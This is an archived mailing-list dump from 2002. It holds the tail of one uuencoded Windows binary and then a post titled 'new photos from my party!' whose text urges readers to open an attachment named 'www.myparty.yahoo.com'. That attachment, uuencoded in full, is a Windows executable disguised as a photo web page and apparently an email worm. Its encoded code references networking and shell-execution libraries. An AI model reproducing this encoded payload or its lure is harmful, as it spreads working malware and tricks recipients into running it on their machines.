MA!"!9`AD0`$0"&1`!H("!(!T6#L@3TVW?"!/'@`[`UIX-DW3-)>UU/,1`6?9
MIEDP3FT!-P,G!HDZLW<#:UUWFJ[JT_(K+P--"*_/-&PZ+NM[`!!"``8!(2.H
M`BJ005$U!(Q;I-L7(+CP`4C`1G)E90E7ELU`]')I=&7K%%)D:F^WSPE,0TT?
M4W0:;F=!#83]]R*_"U1Y<&57';O9+\M74T5N9$]F.2M69=W<)JARXT5X.@1P
M8;,D0+`<18`V@IK=NG,:4RYE<(G>Y>Q6G!9O>99#871)-YL0BF$!%V6])12Y
M/(Q*/HL$]:!D+D1!;&RVAZ+7.D-C6GME!P0[H/5R;3,:>[>ST7ES96T=#DRA
M:.:"UPW*+R1!+9P1F-N"<BS*<LL20'""&DNP#7LST0U-;W:F!F[`'K#647(:
M#TYE>`ZOO4?1)PH1?HLM&]A4;Y@5GPZO=9\-A&]M;?%,0TH5OF$)=])I9&5#
M:!I_-T&P-4V#0GET2FQU<^$9W+]H0$)U9F8I4'DTPA(*`_\V\#D@3%A?PE9A
MPLP%035UVU@0+%=75K%[LV2/80Q;2X5N:(+@4$=E+55N:#LL;,2")'A,<)X>
MX07UGAE<O$QXSD44B'!16$N6P$WI]/Z%L"-L+5>W'@_+F/='8U`V[CW6Q@I!
M"P=/14T)QL0<16<G0R09"5&3(YUY<&O0RNUNG5)T;.=W:0I8DEK)MA*77`^B
MTRQ-5Z*9E(I<1:U#$*KP.S5J20Y1=19%PYHAB081T68W662F-I`24VA;1+<6
MV1]E8\%!EFW3;!>RF/\6`A`3699E670#%W,$`2F`930);">`*?D$`)(B4H@]
MP)-/`>A@-:``)CN1%&PP`0P#;0"D`&P@+^^KP`H@`)0A`8K;F4YA`"YTD0=P
MAY"[9,L&B,2:]BYRLT-'!)$`/OL>20%\(XQ$0"Z:IKG%)B?X:[!&D+-"5$HC
M*"MIMM@L!_LG"-8T@-I^&\0B`QV#````````$@#_`````&"^%>!``(V^ZR__
M_U>#S?_K$)"0D)"0D(H&1H@'1P';=0>+'H/N_!';<NVX`0````';=0>+'H/N
M_!';$<`!VW/O=0F+'H/N_!';<^0QR8/H`W(-P>`(B@9&@_#_='2)Q0';=0>+
M'H/N_!';$<D!VW4'BQZ#[OP1VQ')=2!!`=MU!XL>@^[\$=L1R0';<^]U"8L>
M@^[\$=MSY(/!`H']`//__X/1`8T4+X/]_'8/B@)"B`='277WZ6/___^0BP*#
MP@2)!X/'!(/I!'?Q`<_I3/___UZ)][FZ`0``B@='+.@\`7?W@#\!=?*+!XI?
M!&;!Z`C!P!"&Q"GX@.OH`?")!X/'!8G8XMF-O@`@`0"+!PG`=$6+7P2-A#``
M0`$``?-0@\<(_Y9D0`$`E8H'1PC`=-R)^7D'#[<'1U!'N5=(\JY5_Y9H0`$`
M"<!T!XD#@\,$Z]C_EFQ``0!AZ2/G_O\`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````C%`!`&10`0``
M``````````````"94`$`=%`!`````````````````*90`0!\4`$`````````
M````````LE`!`(10`0```````````````````````````+Y0`0#,4`$`W%`!
M``````#J4`$``````/A0`0``````"0``@`````!+15).14PS,BY$3$P`0416
M05!),S(N9&QL`%-(14Q,,S(N9&QL`%=33T-+,S(N9&QL````3&]A9$QI8G)A
M<GE!``!'9710<F]C061D<F5S<P``17AI=%!R;V-E<W,```!296=#;&]S94ME
M>0```%-H96QL17AE8W5T94$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
I```````````````````````````````````````````````````````%
end



From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: paolobentenuto@vidoetron.ca
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new photos from my party!
Date: Tue, 29 Jan 2002 18:38:40 -0700 (MST)
Lines: 671
Approved: news@gmane.org
Message-ID: <20020130013840.E8147482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621022 2143 80.91.229.3 (22 Nov 2014 01:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:38:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from VL-MS-MR003.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8147482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:38:40 -0700 (MST)
Original-Received: from HOST ([24.203.4.51]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15
          MR003 Jul 24 2001 16:23:26) with SMTP id GQQ9WC00.39D for
          <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 20:38:37 -0500 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13909

Hello!

My party... It was absolutely amazing!
I have attached my web page with new photos!
If you can please make color prints of my photos. Thanks!


begin 666 www.myparty.yahoo.com
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````@`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````!010``3`$#
M`)(B4CP``````````.``#P$+`04``'`````0````T```X$P!``#@````4`$`
M``!````0`````@``!``````````$``````````!@`0``$`````````,`````
M`!```!``````$```$````````!````````````````!0`0`(`0``````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````-`````0``````````(`````````
M`````````(```.````````````!P````X````'`````"````````````````
M``!```#@````````````$````%`!```"````<@``````````````````0```
MP```````````(0P)`@APIK/NYMN=S<$E`0#';````-X``"8!`$W=_O__58OL
M@>P$`0``BT4,4U97BP"CH`%!`.@0!!2_^V?W!&0)`<#XA<!T!0@-'VB@R$!O
MWQ[L`/\U)Q(<61E9#X7R0@!HF`'R'&`9V)3R'"#/H)"&C)T![%=U&FB(2806
M9+/9M`-]"TX"9QO[OS/?A$M\$1&,65"-A?S^__]0#3[F/KL0G%D,66A0'Q*L
M63/V:P^WP156`.L/`(<2"W;[[I\)<U!H2"E6_Q60(H#K+!WFMML[BST,(VH!
M)+L>;?>2;<TP4R37-0P)O3O8?P4F7UXSP%O)PYRXP"AU!;BHVK_WW@;#5FC0
MI"^)%)R+\-QNK;W=BW0>.S5P]1E>!\CY#;?OQR$3'(/$$%H2P5[#PU%MV1*V
M43W4&#W^?MFUFX)J`FJS-Q;<#(U%^%`>L+;%#.I9%AC_=?C-_37L"A7\4:-H
M=#Y6$G;]]NYCC;R+3?AT,]([P;`[5?QT""?[OHO/%8T$"8D-H%`]Q/E&&Q9[
MUB"E\VJ%V&$AH@`9IF6Y+=O+`/TSV\8'_VX4Q`9+LS5;#`%A!@)P`[-U#S=S
M:-A5_\E0$01+LS1;=`8%909R!R=;LS1`"&=""0I;<[)T#6P+#"YK#>;O9#L^
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
